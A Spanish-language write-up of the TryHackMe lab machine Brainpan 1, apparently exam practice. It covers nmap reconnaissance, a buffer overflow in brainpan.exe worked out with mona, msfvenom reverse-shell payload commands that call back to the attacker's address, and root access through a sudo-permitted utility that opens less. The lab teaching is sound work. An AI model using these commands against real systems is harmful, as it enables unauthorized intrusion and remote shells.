Brainpan 1 - Writeup - TryHackme
Brainpan 1 es otra de las máquinas que he decidido incorporar a mi preparación para los exámenes de las certificaciones como la del OSCP y la del eCPPT. Esta máquina ha sido altamente recomendada para completar antes de los exámenes mencionados.
Brainpan explota una vulnerabilidad de desbordamiento de buffer (buffer overflow)
analizando un ejecutable de Windows en una máquina Linux y en este artículo estaré mostrando como resolverla.
Reconocimiento
Esta es la fase inicial y mas importante, ya que de esta dependerá todo nuestro proceso.
Recuerden que mientras mas información de nuestro objetivo, mas vías potenciales de explotación podríamos obtener.
Puertos abiertos
Comando:
nmap -sS --min-rate 200 -p- --open -n -v -Pn -oN puertos 10.10.5.133
Resultado:
# Nmap 7.91 scan initiated Mon Oct 4 08:54:10 2021 as: nmap -sS --min-rate 200 -p- --open -n -v -Pn -oN puertos 10.10.5.133
Nmap scan report for 10.10.5.133
Host is up (0.22s latency).
Not shown: 45093 closed ports, 20440 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Oct 4 08:56:58 2021 -- 1 IP address (1 host up) scanned in 168.16 seconds
Servicios y versiones
Una vez que sabemos que puertos están abiertos en nuestro objetivo, deberemos realizar un escaneo más exhaustivo sobre los mismos.
Comando:
nmap -sV -sC -p9999,10000 -oN serviciosVersiones 10.10.5.133
Resultado:
# Nmap 7.91 scan initiated Mon Oct 4 08:18:46 2021 as: nmap -sV -sC -p9999,10000 -oN serviciosVersiones 10.10.5.133
Nmap scan report for 10.10.5.133
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=10/4%Time=615AFF49%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 4 08:20:09 2021 -- 1 IP address (1 host up) scanned in 82.36 seconds
Servicio Web
Gracias al escaneo anterior sabemos que en el puerto 10000
se aloja un servicio http
.
Fuzzing
El fuzzing sobre un servicio web nos permite saber si un recurso existe o no dependiendo del código de estado que devuelve el servidor. Si el recurso existe el código de estado sera 200
.
Comando:
wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.5.133:10000/FUZZ
Resultado:
Brainpan.exe
Gracias al reconocimiento anterior encontramos el directorio /bin
, el mismo que cuenta con la capacidad de Directory listing
, es decir se muestran en el todos los recursos que contiene.
Dirección: http://10.10.5.133:10000/bin/
Una vez descargado brainpan.exe
con el comando file
podemos observar que se trata de un ejecutable de 32 bits para windows.
Laboratorio
Siempre como recomendación cuando deseas examinar un binario, se debería probarlo en un entorno que cuente con las características lo mas similar posible a las del binario.
Para este laboratorio necesitaremos:
- Una máquina virtual Windows 7 Professional de 32 bits.
- Immunity debugger
- Mona
Nota: Si no sabes como instalar mona
en Immunity debugger
, te recomiendo revises aquí que es donde explico como hacerlo.
Transferencia
Con el siguiente comando habilitaremos un servicio SMB
en nuestra ruta actual para compartir los recursos que se encuentren en ella.
smbserver.py share . -smb2support -username jch -password password123
Con el servicio SMB
activo ya podremos acceder desde nuestra máquina virtual para poder copiar el binario en ella de manera local, siempre y cuando nuestra máquina este “dentro” del mismo segmento red.
Con el binario ya en nuestra máquina virtual deberemos abrirlo y ejecutarlo desde Immunity debugger.
Una vez en ejecución si escaneamos nuestra máquina virtual podremos observar que se abre el mismo puerto que se encuentra en nuestro objetivo.
Explotación
Si nos conectamos con “Netcat” al puerto 9999
se nos abrirá un panel en el cual se nos solicita una contraseña.
Si la contraseña es incorrecta nos pondrá ACCESS DENIED
, esto lo podrías comprobar tanto en la máquina víctima como en nuestra máquina virtual.
nc -v 10.10.78.67 9999
nc -v 10.10.5.133 9999
Sabemos que este binario es vulnerable a buffer overflow
, por lo cual si enviamos una cadena con un número de caracteres que sobrepase el buffer definido en el binario el mismo terminara corrompiéndose, esto lo podríamos probar manualmente o con un un script, que vaya enviando e incrementando cada vez mas la longitud de la cadena hasta lograr corromperlo, como lo veremos a continuación.
python3 fuzzer.py 192.168.1.10 9999
1. Calculando el offset
Como podemos ver en la imagen anterior al enviar una cadena de 570
bytes el binario se corrompe. Esta cantidad nos sera de ayuda para obtener el valor del offset.
- Crearemos una cadena aleatoria de
570
caracteres.
Comando:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 570
Resultado:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9
Esta cadena la deberemos copiar en un nuevo script para enviarla al objetivo y con su resultado obtener el valor del offset.
python offset.py 192.168.1.10 9999
Debemos prestar atención al valor del EIP que se nos muestra en la imagen anterior, ya que este valor lo pasaremos como parámetro al siguiente comando para encontrar el valor del offset.
Comando:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
Resultado:
[*] Exact match at offset 524
2. Controlando el EIP.
A nuestro script anterior debemos hacerle unas pequeñas modificaciones, ya que en este caso no enviaremos una cadena con caracteres aleatorios, esta vez la enviaremos con valores definidos por nosotros para ver si como resultado tenemos el control del EIP.
Enviaremos la letra “A” multiplicada por el valor del offset, más 4 bytes que serán “B” y por ultimo sumaremos “C”.
Vemos que efectivamente somos capaces de sobre escribir el EIP con nuestras “B” (0x42).
3. Directorio de trabajo con mona
El siguiente comando nos creara una carpeta en el escritorio de trabajo, específicamente para el binario que estamos ejecutando (brainpan.exe).
Nota: La carpeta no aparecerá hasta que la misma tenga contenido.
!mona config -set workingfolder C:\Users\jch\Desktop\%p
4. Lista de badchars con mona
Puedes ejecutar el primer comando para crear una lista de badchars, o el segundo para lo mismo pero descartando el badchar "\x00"
, ya que se sabe que este siempre da problemas.
!mona bytearray
!mona bytearray -cpb "\x00"
5. Eliminando badchars
Para este paso ejecutaremos badChars.py hasta que no se nos muestre mas badchars.
python badChars.py 192.168.1.10 31337
Una vez ejecutamos el script, nuevamente se corromperá nuestro binario, pero en este punto debemos poner atención al valor del ESP
, ya que con este compararemos nuestra data enviada con el fichero bytearray.bin.
Para comparar necesitaremos el siguiente comando.
!mona compare -f C:\Users\jch\Desktop\gatekeeper -a 0028F930
Observamos que no se nos muestra ningun BadChar, esto si en el momento de crear la lista bytearray omitimos el BadChar "\x00"
, caso contrario se te debería listar el mismo por pantalla.
Nota: Este paso normalmente lo tendríamos que realizar una y otra vez hasta que no se nos listen mas BadChars como sera en el caso de otros binarios.
6. Dirección de jmp
El siguiente comando nos permitirá encontrar una dirección de jmp
que no contenga los badchars que encontramos en los pasos previos.
Esta dirección nos servirá para hacer un salto al ESP
permitiéndonos ejecutar un shellcode que le pasemos al mismo.
!mona jmp -r esp -cpb "\x00"
7. Reverse Shell
Una vez hemos eliminado todos los badchars y teniendo una dirección al ESP
podremos crear nuestra shell para poder obtener una conexión reversa hacia nuestro equipo de atacante.
El resultado del siguiente comando lo debemos poner en nuestro script final finalexploit.py.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.9 LPORT=443 EXITFUNC=thread -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai -f c
Una vez hemos conseguido ejecución remota de comandos con nuestro script, lo único que nos queda es crear una nueva shell con nuestra IP
de Tryhackme y enviarla.
No olvidar que estamos ante una máquina linux
por lo cual nuestra shell debería ser para linux
.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.50.78 LPORT=443 EXITFUNC=thread -a x86 --platform linux -b "\x00" -e x86/shikata_ga_nai -f c
Escalada de privilegios
Para este caso obtener acceso como el usuario root
es bastante sencillo.
1. Enumeramos nuestro usuario
id
whoami
sudo -l
Vemos que somos capaces de ejecutar anansi_util
como root
.
2. Analizamos que es anansi_util
sudo /home/anansi/bin/anansi_util
Vemos que contamos con 3
opciones.
Si ejecutamos el siguiente comando nos muestra un manual del parámetro que le pasemos.
sudo /home/anansi/bin/anansi_util manual id
3. Shell
Si nos percatamos este resultado se parece mucho al resultado del comando less
.
Recordemos que less
nos permite obtener una shell, esto lo podrías ver en GTFOBins.